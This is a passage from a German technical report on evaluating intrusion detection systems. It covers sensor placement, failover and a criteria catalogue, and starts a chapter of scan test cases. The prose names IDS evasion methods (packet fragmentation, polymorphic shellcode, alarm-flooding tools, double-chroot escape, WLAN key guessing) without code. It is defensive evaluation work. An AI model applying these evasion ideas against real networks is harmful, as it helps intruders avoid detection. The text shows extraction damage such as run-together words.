16Pluggable Authenti�cation Modul
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2.7 Network Intrusion Detection

Network Intrusion Detection Systeme überwachen den ganzenVerkehr, um Netz-
angriffe zu erkennen. Das System arbeitet wie ein Sniffer und hört den ganzen
Verkehr ab. Die Network Intrusion Detection Systeme haben die grundlegenden
Vorteile, da� man sie an wenigen Stellen positionieren mussund keine Last pro-
duzieren. Au�erdem kann man sie für Angreifer unsichtbar machen, da sie passiv
den Netzverkehr beobachten.

Es gibt 3 Arten von Network Intrusion Systemen: Signature, Anomaly basierend
und Protocol Modeling.

2.7.1 Signatur-basierend

Signatur basierte Einbruchserkennungsysteme sind die meist verbreiteten Syste-
me. Man hat ein Muster, das mit den eingehenden Paketen verglichen wird. Da die
meisten Exploits in eine bestimmte Stelle im Speicher Code einzufügen versuchen
und immer bestimmte Muster vorweisen, ist es oft einfach siezu erkennen. Es
gibt aber auch Versuche, die Exploits zu verschlüsseln, so dass sie von IDS nicht
erkannt werden. Die Entschlüsselung erfolgt im Zielsystem. Wenn man bei der
Verschlüsselung immer den gleichen Schlüssel und Algorithmus nutzt, gewinnt
man wenig, da wieder ein Muster entsteht ( [TDS03], [ADM]). Es wurden neue
Methoden entwickelt, z.B. einfügen von NOP Instruktion, aber die IDS Hersteller
haben , z.B mit den fnord Preprocessor [Rui] für snort, auch ihre Produkte
nachgerüstet.

Vorteile

• Angriffe werden granular erkannt. Es gibt Informationen zu den stattgefun-
den Angriff und im Gegensatz zu Protokollanomalie gibt es eine ungefähre
Vorstellung, um was es sich für einen Angriff handelt.

• Es ist einfach und speicherschonend zu implementieren. Esmüssen nur Mu-
ster verglichen werden.

Nachteile

• Unbekannte Angriffe können nicht erkannt werden. Wenn kein Signatur für
Angriff existiert, gibt es auch kein Alarm.
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• Änderung der Attacke können zur Folge haben, da� Angriffe nicht erkannt
werden. Alle modernen Produkte können mit anderen Kodierungen umge-
hen. Aber Signaturen dürfen nicht zu eng spezi�ziert werden. Kleine Ände-
rungen dürfen der IDS nichts ausmachen. Wenn ein Backdoor den Port, wo
sie hört ändert, sollte trotzdem erkannt werden.

• Durch Ausnutzung der Schwächen des TCP/IP Protokolls kannman die
Network Intrusion Detection Systeme umgehen. In [Pta98] und [Hor98]
wurden verschiedene Methoden vorgestellt, die IDS täuschen könnten. Mei-
stens nutzt man Fragmentierung und spezielle Pakete, die nur für die IDS
bestimmt sind, um das System zu täuschen.

• Fragmente (TCP und IP) müssen wieder zusammengefügt werden. Das hat
zur Folge, dass evtl. ein gro�er Speicherverbrauch entsteht.

2.7.2 Anomaly-basierend

Man versucht Abweichung vom normalen legitimen Verkehr zu erkennen. Wenn
die DNS Anfragen zu Google plötzlich verdoppelt werden, könnte ein Mitarbeiter
froogle entdeckt haben, aber es könnte auch sein, dass man die DNS Abfragen
zum durchtunneln ausnutzt ( z.B. ssh over DNS).

Vorteile

• 0-day Angriffe17 werden erkannt. Da der Verkehr nach ungewöhnlichen Ver-
halten abgehört wird, können auch unbekannte Angriffe (0-day Angriffe)
entdeckt werden.

• Kennungsmissbrauche werden erkannt. Wenn ein Angreifer eine Kennung
mi�braucht, wird es als Anomalie angesehen.

Nachteile

• Natürlich ist die Überwachung der Verbindungen speicherintensiv.

• Die IDS kann trainiert werden, um böswilligen Gebrauch alslegitim zu
erkennen.

17Wenn neue Angriffe existieren, für die es noch keinen Schutzgibt, bezeichnet man diese als
0-day Angriff.
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• Die Alarme liefern keine Information über den Angriff selbst, nur dass es
irgendwas stattgefunden hat.

• Portscans werden nicht erkannt, da es zum normalen Verkehrgehören.

2.7.3 Protocol Modeling

Beim Protokoll Modeling18 überprüft man, ob die Pakete die Spezi�kation erfül-
len. Wenn z.B. beim Verbinden mit einem ssh Server ein Paket die spezi�zierte
Länge überschreitet, kann es ein Indiz sein, dass ein ssh Exploit geschickt wurde.
Oft wird auch diese Kategorie als Anomalie bezeichnet. Es ist mehr aber Proto-
kollanomalienerkennung, die statt�ndet. Es werden keine Flowdaten ausgewertet.

Vorteile

• Unbekannte Angriffe, die bei den anderen Kategorien -weilssh Verkehr
erlaubt ist und es für den Angriff keine Signatur gibt- werden hier erkannt.

Nachteile

• Viele Angriffe erfüllen die Spezi�kationen und können unerkannt bleiben.

• Viele Hersteller erfüllen nicht immer die Spezi�kationen.

• Portscans werden nicht erkannt, da diese die Protokollspezi�kation meistens
erfüllen.

2.7.4 Positionierung

Ein entscheidender Punkt bei der Positionierung der Sensoren ist, darauf zu achten,
da� die Network Intrusion Detection Systeme den ganzen Verkehr erhält.

2.7.5 Probleme bei der Positionierung

Ein grundlegendes Problem für die Network Intrusion Detection Systeme ist die
Verschlüsselung. Das Einbruchserkennungsystem kann verschlüsselten Verkehr

18auch als Protocoll Anomaly bekannt
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nicht entschlüsseln (Abb. 2.4). Das Problem kann man durch Einsatz von SSL
Proxies umgehen. Der Verkehr ist bis zum SSL Proxy verschlüsselt, der Verkehr
danach unverschlüsselt (Abb. 2.5). Somit kann die Network Intrusion Detection
Systeme Angriffe erkennen.

Sensoren

Server

verschlüsselt

Abbildung 2.4: Ohne SSL Proxy

Es gibt natürlich die Möglichkeit den Verkehr -wenn man das Zerti�kat und den
zugehörigen Schlüssel hat- selbst, z.B. mit ssldump abzuhören. Ein Abhören ist
jedoch eher auf Grund der aktuellen Gesetzeslage (Datenschutz etc.) nicht möglich.
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Sensoren

Server

verschlüsselt

SSL Proxy

unverschlüsselt

Abbildung 2.5: Mit SSL Proxy

2.7.6 Die Problematik beim Einsatz von Switches

Früher könnte man ein Einbruchserkennungsystem an ein beliebigen Port in ein
Hub anschlie�en, da Hubs eine Broadcast-Domäne bilden und den Verkehr an allen
Ports broadcasten. Der Anschlu� eines Einbruchserkennungsystems ist problem-
los. Beim Einsatz von Switches hat sich die Situation verändert. Ein Switch broad-
castet normalerweise den Verkehr nicht. Es verwaltet eine Liste mit angeschlossen
MAC Adressen und Ports und leitet den für die MAC Adresse bestimmten Ver-
kehr weiter. Allerdings hei�t es nicht, da� Snif�ng in eine geswitchte Umgebung
unmöglich ist. (vgl. [sni]). Durch den Einsatz von Switches, welche Authenti�-
zierung ( IETF's [BV98] 802.1X) für die einzelnen Ports -undnicht nur MAC
ACLs- kennen, könnte man auch in geswitchten Netzen den Verkehr abhören.

Es gibt zwei verschiedene Möglichkeiten sicherzustellen,da� die Network Intru-
sion Detection Systeme den ganzen Verkehr beobachten. Viele Switches bieten
die Möglichkeit, Ports zu spiegeln. So könnte man den ganzenDatenstrom von
allen benutzten Ports auf 1-2 Ports (sogenannte SPAN Ports)spiegeln. Das hat
leider den gro�en Nachteil, da� die Spiegelung durch Kon�guration kontrolliert
wird. Durch Fehlkon�guration oder durch Angriff auf den Switch kann man leicht
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erreichen, da� der Sensor keine bzw. nicht alle Daten erhält. Au�erdem muss man
aufpassen, da� bei Last Daten nicht verloren gehen (16 Port Switch -100MBit-
auf ein Gigabit SPAN Port spiegeln könnte, bei Last, mehr als1 Gigabit Verkehr
liefern). Bei einer falschen Kon�guration könnte der Sensor selbst Daten schicken
und seine Existenz preisgeben.

CA B D

SPAN Port

NIDS

Switch

Abbildung 2.6: Ein Switch mit SPAN Port. Der Verkehr aller Ports A-D wir an den SPAN
Port gespiegelt.

2.7.7 Ethernet Tap

Speziell für den Einsatz mit Network Intrusion Detection Systeme gibt es
Ethernet Taps (Test Access Port). Dabei handelt es sich, um Geräte -incl.
Pufferungsmöglichkeit-, mit einen Eingang und zwei Ausgängen. Jedes Paket wird
zu beiden Ausgängen geschickt. Der “TAP” Ausgang kann keineDaten schicken,
nur empfangen -passiv- (Abb 2.7). Durch einen gro�en Zwischenpuffer wird si-
chergestellt, da� auch bei gro�er Last keine Pakete verloren gehen. Da keine Kon-
�guration notwendig ist, übergeht man die vorher besprochenen Probleme. [Netb]

Es gibt auch Modelle, wo man eingehenden und ausgehenden Verkehr in einen
einzelnen Port spiegeln kann. Der gro�e Nachteil ist der sehr hohe Preis.

Es gibt Ethernet Taps, welche auch bei Stro�verlust ohne Paketverlust weiterarbei-
ten. Es gibt auch Anleitungen, welche erlauben, da� man selbst ein Ethernet TAP
kosteneffektiv baut. Davon ist in den meisten Fällen abzuraten. Bei selbst gebauten
TAP könnten wegen schlechter Abschirmung, usw. Fehler auftreten.
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Internet

Firewall

Router
Firewall

Switch

TAP

Abbildung 2.7: Ethernet TAP. Der ganze Verkehr wird auf die zwei TAP Ausgängen ge-
spiegelt.

2.7.8 Ethernet Tap Reassemly

Wir haben bei den Taps zwei Ausgänge, die zum Sensor führen, eingehender und
ausgehender Verkehr, die als ein einziger Strom angesehen werden muss. Um einen
gemeinsamen Strom zu erzeugen gibt es 4 Möglichkeiten ( [Con02], [Bej04]):

• Man benutzt 2 Interfacekarten. Diese werden in ein logisches Interface ge-
bündelt. Der Sensor überwacht das logische Interface.

• Die Daten beider Interfaces werden gespeichert. Zum späteren Zeitpunkt
werden durch die Nutzung von Tools wie z.B. Mergecap [mer], die beiden
getrennten Ströme in einen einzigen umgewandelt und dieseran den Sensor
übergeben.

• Den Verkehr an einen Switch schicken. Der Verkehr wird an ein SPAN Port
gespiegelt. Zu beachten ist, dass man die doppelte Geschwindigkeit (z.B.
bei 100MB ein 1G SPAN Port) braucht.
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• Man kann aber auch spezialisierte Hardware benutzen, sogenannte IDS
Loadbalancer [loa]. Au�er Lastverteilung fügen sie die beide Kanäle zu-
sammen.

2.7.9 Load Balancing

Bei immer wachsenden Geschwindigkeiten -man denke an 10G- kann man davon
ausgehen, da� einzelne Sensoren die Daten nicht verarbeiten können. In diesem
Fall kann man an Network Intrusion Loadbalancern denken. Diese verteilen den
Netzverkehr an mehreren Sensoren. Damit wird ein kosteneffektives -eine Gigabit
Karte ist billiger als eine 10G Karte- und ausfallsicheres -falls ein Sensor ausfällt,
übernimmt einfach ein anderer seine Funktion- Sensornetzwerk.

Loadbalancing
Management Konsole

Sensoren

Abbildung 2.8: NIDS mit Lastverteilung. Der Lastverteilerverteilt die eingehenden Daten
an mehreren Sensoren. Die Sensoren teilen eine Datenbank.

2.7.10 Ausfallsicherheit

Natürlich kann man die Idee der Ausfallsicherheit auch für Network Intrusion De-
tection Systeme Backup -Hochverfügbarkeit- Lösungen nutzen. Es gibt 2 einfache
Lösungen, um sicherzustellen, dass beim Ausfall eines Sensors, der Backupsensor
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ohne Userinteraktion den Verkehr erhält: mit einen zweitenEthernet TAP, die man
vorziehen sollte, oder mit ein Switch.

• Die beiden TAP Ausgänge werden an den Switch angeschlossen. Der Switch
wird mit 2 SPAN Ports de�niert, so dass wenn der eine Sensor nicht mehr
funktional ist, der andere den Verkehr ohne Interaktion erhält.

Man muss beachten, da� man bei einer 100M Leitung 2 Ports, einen für
eingehende und einen für ausgehende Last braucht . Also mussman evtl. 2
Gigabit SPAN Ports de�nieren.

• Es ist auch möglich zwei Ethernet Taps zu benutzen, wie in Abb. 2.7.10
dargestellt.

Beide Sensoren sind als hochverfügbares Cluster angeschlossen. Ein Sensor ist
aktiv, der andere im Standby Modus. Bei Problemen wird der zweite aktiv und
übernimmt die Funktion. Um sicherzustellen, dass nicht dieAlarme doppelt auf-
tauchen, falls z.B. die redundanten Leitungen getrennt wurden und beide Sensoren
aktiv sind, sollte man sicherstellen, dass, wenn der Standby aktiv wird, er den an-
deren Rechner abschaltet19. Die Überwachung der Funktionalität beider Rechner
passiert über redundante Leitungen: seriell, ieee1394, Ethernet.

Eine ausführliche Beschreibung zu Hochverfügbarkeit kannman bei dem Projekt
Heartbeat [Hea] und dem Fortgeschrittene Praktikum überHochverfügbares LDAP
am Beispiel der Hardwareinventarisierung[Ili04] erhalten.

Management Konsole

Sensoren

Heartbeat

Switch

Switch schickt Daten

Out

an beiden Leitungen

(a) Lösung mit Switch.

Management Konsole

Sensoren

Switch

Heartbeat

In

Out

(b) Lösung mit 2 TAPs

Abbildung 2.9: NIDS Backup. Die Sensoren werden per Heartbeat überwacht. Zum jedem
Zeitpunkt ist nur ein Sensor aktiv.

19Strom abziehen
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2.7.11 Wireless Network Intrusion Detection Systeme

In den letzten Jahren erfahren WLAN Produkte gro�e Beliebtheit. Fast alle
modernen Notebooks, PDA und Handys haben integrierten Wireless Support.
Viele der eingesetzten Netzen sind gar nicht gesichert. Es gibt schon Symbole s.
Abb 2.10, um zu erkennen, ob die Netze gesichert sind.

Abbildung 2.10: WLAN Symbole

Es gibt neue Begriffe wie Wardriving -man fährt durch die Gegend, um so
ungeschützte Netze zu entdecken- und WPhising . Das gro�e Problem mit den
WLAN Produkte ist die Sicherheit. Sicherheitsmechanismen, wie SSID oder MAC
Access lassen sich leicht umgehen. Auch wenn Verbindung mitWEP20 ( [New01],
[WHO]) oder WPA21 -Dictionary Attacken ( [Tak], [Digb])-. geschützt ist, lä�t
sich der Schlüssel sehr schnell erraten.

Da die Funkwellen mit entsprechender Hardware sich weit verbreiten können
[CH04] 22 und es keine Authenti�zierung der Gegenstelle gibt -VPN gibt erst in
höheren Sichten -, kann ein Angreifer Rogue Access Points aufstellen und einfach
Man-in-the-Middle Angriffe durchführen. [Airb]

Man braucht auch kein Access Points (AP), um Angriffe durchzuführen. Der Ad-
Hoc Modus erlaubt es, Verbindungen ohne Access Point aufzubauen. Genau dieser

20Wireless Encryption Protocol
21WPA: [http://wwww.wi-�.org]
22Es sollten auf den Access Points ACL für Repeater existieren, so dass weitere AP einfach

anschlie�en können
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Punkt stellt ein gro�es Risiko da, da auch wenn die Firma keinAccess Points bietet,
mittels Ad-Hoc Modus Zugriff auf das interne Netz -hinter der Firewall und der
IDS- möglich ist. Darum sollten entweder bei allen Produkten der Wireless Sup-
port immer deaktiviert sein, oder sie sollten in ein eigenesVLAN mit begrenzten
Rechten eingebunden werden.

Es werden neue Einbruchserkennung Produkte gebraucht, diedie Besonderheiten
von WLAN und Bluetooth berücksichtigen. Es sollte auch der Einsatz von Tools
wie z.B. kismet [kis] / Netstumbler [neta], die nach drahtlosen Netzwerke suchen,
aber auch drahtloses Abhören ermöglichen, um z.B. den Verschlüsselungsschlüs-
sel zu erraten, entdeckt werden. Firmen wie Airdefence [Aira] und Open-source
Projekte [Snoa] versuchen, genau diese Probleme zu bekämpfen. [Wri]

Natürlich muss der ganze Bereich, wo WLAN angeboten wird mitSensoren
abgedeckt werden, d.h. man braucht genauso viele Sensoren wie Access Points.
Das ist natürlich eine gro�e Investition.

Der Einsatz von Wireless Honeypots ist auch zu empfehlen. Esgibt Projekte, wie
z.B. [hon], [fak], [Osb]. Weitere Informationen �ndet man auch unter [Pou].

2.8 Host Intrusion Detection

Host IDS überwachen immer ein Host auf Veränderungen und Sicherheitsverlet-
zungen. Man unterscheidet zwischen folgenden Host IDS Systeme:

• Loganalyzer

• Integrity Checker

• Mandatory Access Controll

Leider haben alle eingesetzte Host IDS ein starken Ein�u� auf die Performance des
schützenden Systems. Integrity Checkers und Mandatory Access Controll (MAC)
braucht man an allen wichtigen Systemen zu installieren undp�egen, was der
Alptraum jedes Administrators sein kann. Es gibt Möglichkeiten auch die einzelnen
Sensoren sicher zentral zu verwalten. Da Network IntrusionDetection Systeme
allein keine Auskunft geben können, ob ein Angriff erfolgreich war oder nicht,
sollte man auf HIDS nicht verzichten.
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2.8.1 Loganalyzer

Die Loganalyzers lesen die Log�les, z.B./var/log/messagesund schlagen bei Ver-
dacht Alarm, z.B. bei 5 mal falsches eingegebenes Password.Der Einsatz eines
zentrales Logserver ist sehr zu empfehlen. Es ist auch zu empfehlen, die RFC 3080
[Ros01] und RFC 3081 [Ros05] zu beachten. Damit kann man garantieren, dass
es wenige falsch Positiv gibt. Ein möglicher Angriff wäre sehr viele falsche Syslog
Messages zu generieren und an den zentralen Syslog weiterzuleiten. Falls der Ser-
ver unter der Last nicht zusammenbricht, wird die gro�e Flutan falsch Meldungen
für Verwirrung sorgen.23

2.8.2 Integrity Checker

Um Änderungen im System zu entdecken, kann man Integrity Checkers einsetzen.
Sie können nicht nur die Integrität der Files, sondern auch des Kernels überwachen.
Es ist auch möglich24, dass der Integrity Checker sich im Kernel versteckt. Es gibt
keine Hinweise dann im System über ihre Funktion. Nur die gro�e Last im System
verrät ihre Existenz. Durch dieses Verstecken im Kernel isteine Entdeckung und
Entfernung des Integrity Checkers durch einen Angreifer somit viel schwieriger.

Falls ein Angreifer Zugriff auf den Kernel hat, kann er/sie alle Integrity
Checkers umgehen. Ein nicht modularer Kernel garantiert NICHT, dass der
Kernel nicht in�zieren werden kann.

2.8.3 Role Based Mandatory Access Controll

Die in den meisten Betriebssysteme benutzen Rechte und Access Controll Lists
(ACL) sind leider unzureichend, um einen effektiven Schutzzu bieten. Obwohl
der Einsatz von chroot Umgebungen sehr sinnvoll ist, kann man diese -wenn keine
weitere Schutzma�nahmen (z.B. PaX [Theb]) getroffen wurden- leicht umgehen
(double chroot25.

23Man sollte die Anzahl der Verbindungen begrenzen und nur authenti�zierten Clients erlauben,
um gegen DoS Angriffe gegen Logserver vorzubeugen.

24Der Einsatz von Mandatory Access Controll und andere Patches erschweren dies
25chroot Umgebungen, sind als Gefängnis für Server Programmegedacht. Allerdings mit 2 mal

chroot kann man aus dieses Gefängnis ausbrechen und in das richtige Filesystem geraten [PC04]
(S. 304-307)
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Was nötig wäre, ist die Zugriffe auf das Filesystem, die Zugriffe aufs Netzwerk
und der Libraries, die ein Programm nutzen kann, granulararzu kontrollieren. Für
diesen Zweck gibt es verschiedene Role Based Mandotary Access Controll Imple-
mentierung (SELinux [NSA], RSBAC [Ott], GRsecurity [SD]).Der Aufwand
dafür ist ziemlich gro�, da jeder Dienst und jeder Aufruf behandelt werden. Viele
Distribution liefern vorfertige Regeln, die den Umstieg erleichtern.

HIDS werden in dieser Arbeit nicht weiter betrachtet. Es gibt genügend gute Quel-
len, um Kriterien, Anforderungen und Vergleiche nachzulesen. [Wic04]

2.9 Hybrid Intrusion Detection

Neu sind die Hybrid Intrusion Detektion Systeme. Sie verbinden Host und Intru-
sion Detektion in einem. Damit ist es möglich auch Log�les -z.B. Firewall- und
andere Daten, z.B. von Honeypots zu korrelieren. Wenn ein Angriff vom Network
Intrusion Detection Systeme detektiert wird, kann man verfolgen, ob die Firewall
es abgefangen hat, ob es erfolgreich war oder das HIDS den Angriff unterbunden
hat. Leider gibt es nicht sehr viele Produkte und es ist nichtimmer möglich Zu-
griff auf die Host Intrusion Detektion Daten zu bekommen, daevtl. wir nur der
Dienstleiter und nicht der Betreiber sind.



3
Kriterienkatalog zur Bewertung von

IDS

Law 3: If a bad guy has unrestricted
physical access to your computer,
it's not your computer anymore

10 Immutable Laws of Security

Wir wollen ein paar Kriterien aufstellen, was die verschiedene Produkte leisten
sollten. Es werden oft Einbruchserkennungsysteme evaluiert und es gibt Firmen
wie z.B. NSS [NSS], die IDS Produkte evaluieren und es gibt schon fertige Kri-
terienkataloge für die Network IDS [Lie02].

Diese Liste mit Kriterien wurde erweitert und angepa�t an die speziellen Anfor-
derungen des LfSaD.

Die Kriterien kann man Installation, Kon�guration und Management, sowie De-
tektion, Auswertung, Sicherheit und die speziellen Kriterien für das Landesamt
unterteilen.

33



34 KAPITEL 3. KRITERIENKATALOG ZUR BEWERTUNG VON IDS

3.1 Installation, Kon�guration, Management

1 Ein wichtiger Faktor ist der Support. Es soll neben den Installationssupport
auch der Support im laufenden Betrieb betrachtet werden. Wie viel kostet es,
wie schnell reagieren die Firmen auf eine Supportanfrage.

2 Das beste Einbrucherkennungssystem ist wertlos ohne aktuellen Signaturen.
Wie schnell werden Signature Updates zur Verfügung gestellt? Ist die Authen-
ti�zität des Update Servers gewährleistet? Ist das Paket mit den Signaturen
digital signiert, um Veränderungen zu entdecken? Welches Transfer Protokoll
-ftp, http(s),..- wird benutzt? Werden die alten Signaturen und Einstellungen -
falls irgendwelche Signaturen deaktiviert wurden- gesichert?

3 Es muss möglich sein, einfach eigene Signaturen einzubinden und vorhandene
einfach anzupassen.

4 Es soll ein automatisches herunterladen von Signaturen und Software Updates
statt�nden.

5 Die Management Konsole sollte Übersichtlich und für alle gängigen Betriebs-
systeme verfügbar sein. Falls die Konsole proprietär ist, sollte de�niert sein,
welche Voraussetzungen notwendig sind -Programme und Version-?

6 Um das System an die eigenen Bedürfnisse und Anforderungenanzupassen,
sollten die Ausgabe Plugins einfach erweitbar sein und die API sollte gut doku-
mentiert sein.

7 Die Sensoren sollten einfach zu replizieren sein, z.B. alsImage.

8 Es soll eine sichere entfernte Verwaltungsoption für die Sensoren möglich sein.

9 Verdichtung von Log�les wegen Korrelation.

10 Da nicht alle Events genauso wichtig sind, sollte eine Priorisierung der Events
statt�nden. Au�erdem sollte es möglich sein, eigene Prioritäten zu de�nieren.

11 Es soll auch eine Möglichkeit existieren, eigene Pre-/Postprozessoren zu de-
�nieren. Damit kann man das Produkt erweitern, um z.B. eineneigenen Proto-
kollanomalie Detektor zu de�nieren.

12 Es gibt von der Opensource Gemeinde freie Signaturen, dieman evtl. nutzen
könnte. Wie weit ist es möglich fremde Signaturen zu importieren?
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13 Es sollte möglich sein, “Befehle” vom zentralen Server andie einzelnen Sen-
soren zu schicken.

14 Es sollten Datenbank Tools existieren, um die Datenbank zu initialisieren und
die Schemata zu generieren. Diese sollten für mehrere Datenbanken verfügbar
sein.

15 Es sollten Skripten existieren, die die Administration in der Kommandozeile
erlauben.

16 Es sollte möglich sein, alte Daten für einen vorde�nierten Zeitraum zu sichern.
Es sollten auch Tools existieren, um die alten Daten zu löschen. Eine Überwa-
chung des freien Festplattenplatzes sollte statt�nden, umein funktionierendes
System zu gewährleisten.

17 Einfache Generation und Verwaltung von Zerti�katen und public Keys sollte
möglich sein, falls dir Authenti�zierung mit Hilfe von Zerti�katen statt�ndet.

18 Da verschiedene Sensoren oft die gleiche Signaturauswahl haben, könnte man
diese Auswahl als Policy speichern. Au�erdem sind oft verschiedene Sensoren
der gleichen Gruppe (DMZ verschiedener Standort) zuzuordnen. Die IDS sollte
ermöglichen Policy und Groups Domains zu de�nieren, um das Management
zu erleichtern.

3.2 Detektion

1 Das TCP/IP Protokoll sieht vor, dass man TCP Pakete fragmentieren kann, wenn
diese zu grob für das Transportsystem sind. Darauf basierten viele Angriffe, die
in [Pta98] und [Hor98] vorgestellt wurden. Man teilt den Angriff, in TCP Frag-
mente, die man verzögert wegschickt. Die Pakete werden nicht in der normale
Folge geschickt, sondern Pakete vorgeschickt, oder doppelt. Man versucht mit
diesen Tricks, die IDS zu täuschen. Als diese Angriffe vorgestellt wurden, konn-
te man die meisten IDS Produkte damit täuschen.
Au�erdem sollte möglich sein, über den Zustand einer Verbindung nicht die IDS
zu täuschen. Wenn beispielsweise ein FIN oder RST Pakete geschickt wird, dass
das Zielsystem ignoriert, z.B. wegen falscher Checksum, sollte die IDS diese
Verbindung weiterhin überwachen.

2 Eine weitere Möglichkeit die IDS zu umgehen, wäre mit IP Fragmente zu ar-
beiten. Die IDS muss diese Fragmente wieder zusammenfügen.Da die IDS die
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Fragmente zwischenspeichern muss, könnte man die IDS mit Fragmenten über-
�uten, um alle Resourcen zu verbrauchen. Es wäre ein DoS Angriff, wenn die
IDS die Pakete nicht wegwirft.

3 Stateful Protocol Analysis1 für die meisten Applikations protokolle erfordert:

• traf�c normalization (um die meisten evasion and insertion ( [Pta98],
[Hor98]) Methoden zu entdecken)

• Protokoll Dekodierung

• Detection von ProtokolVerletzungen (z.B. buffer over�ows)

4 Das Einbruchserkennung sollte Polymorphic Shellcode detektieren können. Die
Idee von Polymorphic Shellcode ist von den Viren bekannt. Dabei werden NO-
OP Operationen und der Shellcode wird verschlüsselt, um dieSignatur genug zu
modi�zieren, so dass das Exploit nicht der Signatur entspricht ( [AA], [TDS03]).

5 Es ist wunschswert eine Realtime Detektion zu haben. Auch wenn man Reports
hat und eine Nachbearbeitung der Alarme nötig ist, sollte das IDS die Events in
Realtime melden.

6 Wenn die IDS belastet ist, sollte keine Pakete verlieren. Falls das nicht vermeid-
bar ist, sollte eine Benachrichtigung statt�nden, dass Pakete verlorengingen.

7 Natürlich sollte jede Intrusion Detection Systeme wenigefalsch Positiv und
falsch Negativ haben. Allerdings ist es nicht einfach das zurealisieren. Man muss
die IDS auf die eigene Situation anpassen. Ein einfacher Angriff ist, das IDS mit
falschen Alarme zu über�uten, um das IDS Personal zur Verzwei�ung zu treiben.
Man kann bei so gro�en AlarmmengeAttacken verstecken. Es gibt Tools wiez.B.
snot [snob],stick [sti],idswakeup [Aub],mucus [DM], die Angriffe simulieren,
um IDS Systeme zu testen. Aber genau diese kann man auch nutzen, um falsche
Alarme zu generieren.

3.3 Auswertung (Bericht) und Ausgabe

1 Folgende Ausgabe Möglichkeiten sollte jedes IDS Produkt leisten:

• e-mails alerts
1 [Fre01], [Fre02c], [Fre02b], [Fre02a]
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• Echtzeit Alarme zu einen zentralen Syslog Server und eine zentrale Da-
tenbank.

2 Die Management Konsole muss mindestens folgende Informationen für jeden
Alert liefern:

• Source- und Destination IP Address

• IP Header Data (�ag Optionen)

• Protocol(TCP/UDP/ICMP...)

• Numerische Source und Destination Port oder ICMP Type/Code

• Applikation Protokoll (HTTP,SMTP,TELNET,FTP, usw.) in text Format

• TCP Header Data (�ags, Options, sequence Nummer)

• Protokoll Dekodierung

• payload

• Links, um weitere Informationen zu bekommen, z.B. Common Vulne-
rabilities and Exposures (CVE) [CVEa], Bugtraq [Bug], ARACHNIDS
[ARA], Signatur De�nition.

.

3 Die Management Konsole muss interaktive Suche und Analyseerlauben. Ver-
gleich der früheren Angriffe von dieser Source oder zu diesem Ziel soll es
möglich sein. Auch der Einsatz von Contstraints bei der Suche wäre sinnvoll,
um komplexe Suchen zu ermöglichen.

4 Es muss möglich sein, Angriffe zu �ltern und auszublenden.Die beim Penetra-
tiontesting generierten Alarme sollte man “entfernen” können.

5 Das System sollte verschiedene druckbare Reportmöglichkeiten bieten mit ver-
schiedenen Detailstufen, Graphik.

• Nummer der Attacken

• Nummer der Angreifer

• Zeit der Attacke

• Eventname

• Trends



38 KAPITEL 3. KRITERIENKATALOG ZUR BEWERTUNG VON IDS

6 Es soll Möglichkeiten bieten, mit anderen Komponenten (Routern, Firewall,
Switches) zusammenarbeiten, um Angriffe zu stoppen, z.B. RST Pakete zu
schicken. Die Unterstützung sollte für verschiede Produkte existieren. Aller-
dings sollte man bedenken, dass nicht sicher sein kann -man denke an IP/ARP
Spoo�ng-, dass ein Angriff tatsächlich von der angezeigte IP durchgeführt wur-
de. Das öffnet das Tor für DoS Attacken!

7 Es sollte ein Ausgabeplugin für das Intrusion Detection Extended Message For-
mat (IDEMF) existieren, um die Kommunikation mit Einbuchserkennungsyste-
men anderer Hersteller zu ermöglichen.

8 Es sollen Standards wie z.B. CVE [CVEa], Bugtraq [Bug], Intrusion Detection
Work Group (IDWG) (IETF) unterstützt werden.

3.4 Sicherheit

1 Die Kommunikation der Komponenten (Sensoren, Management, Datenbank)
muss verschlüsselt sein.

2 Starke Verschlüsselung der Komponenten und zur Authenti�zierung soll benutzt
werden. Propiäter Lösungen, ohne den Quellcode sollten vermieden werden, da
die nicht Freigabe des Quellcodes nicht die Sicherheit gewährleistet.

3 Alle Komponenten sollten minimale Dienste nach drau�en anbieten und die
Software sollte auf dem neuesten Stand sein.

4 Die Kommunikation sollte keine Information über die eingesetzte IDS und ihre
Version liefern (obwohl in IDEMF die Informationen vorhanden sind).

5 Die Network IDS mu� “stealthy” sein, d.h. die schnüffelndeSchnittstelle darf
keinePakete schicken. Also darf das Interface keine IP Adresse haben und sollte
auch ARP Anfragen ignorieren.

6 Die Sensoren sollten an die NIDS sich authenti�zierten.

7 Die NIDS sollte “hardened” sein. Ein hardened Kernel und ein Host IDS sollte
verfügbar sein.

8 Wenn die Kommunikation zwischen den Komponenten abbricht, sollte ein
Alarm ausgelöst werden.

9 Ein automatisches Updates des Betriebssystems sollte möglich sein.
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10 Es sollten verschiedene Rollen de�nierbar sein mit unterschiedlichen Rechten.

11 Die Verfügbarkeit des Sensor sollte automatisch überprüft würden und bei
Ausfall ein Alarm ausgegeben werden.

12 Es soll möglich sein ein Heartbeat Cluster zu de�nieren, so da� wenn ein Sensor
ausfällt, ein zweiter seine Funktion übernimmt.

3.5 Kriterien LfStaD

1 Die IDS muss die von mehreren einzelnen Sensoren gesammelten Daten zentral
speichern können. Es sollte eine zentrale Verwaltung der Sensoren möglich sein.

2 Die IDS sollte Daten, die aus Lastverteilungsgründen durch verschiedene Router
gehen, wieder zusammenführen können.

3 Kein Paketverlust bei Last. Bei den gro�en Transport Volumen mu� sichergestellt
sein, dass die IDS das Volumen ohne Paketverlust behandeln kann.

4 Aus Datenschutzgründen sollte möglich sein, die IP (Pseudonymisierung) zu
verschleiern.
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4
Testfälle

Not everything that is counted
counts, and not everything that
counts can be counted

Albert Einstein

In diesem Kapitel sollten Testfälle de�niert werden, die eserlauben die Detektion
der Systeme zu untersuchen. Jeder Testfall hat ein Namen, eine Beschreibung,
um was für ein Test es handelt und was das Ziel des Tests ist, d.h. was soll das
Einbrucherkennungsystem detektieren. Es werden paar typische Scans de�niert,
ein paar Exploits sowie Rootkits, Tunnelangriffe, Bruteforce Attacken, Denial of
Service, Layer 2 Attacken, TCP/IP Protokoll (Evasion), Leistungsvergleichstest,
Kriterien speziell für das LfStaD -Loadbalancing- und Stre� Tests.

4.1 Scans

Um das Verhalten des Einbrucherkennungsystem weitgehend zu studieren, wurden
bei den Scan ein paar Test doppelt mit verschiedenen Tools durchgeführt, z.B. sing
und icmpush. Es sollte getestet werden, wie weit das Einbrucherkennungsystem
auf einzelnen Tools eingestellt ist.

41
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Name TCP SYN
Operation Schicke ein SYN Packet, falls es ein SYN oder ACK als Antwort

kommt, breche die Verbindung mit RST ab.
Verhalten Detektiert das IDS ein half-open Scan?

Name sing-1 [Ome]
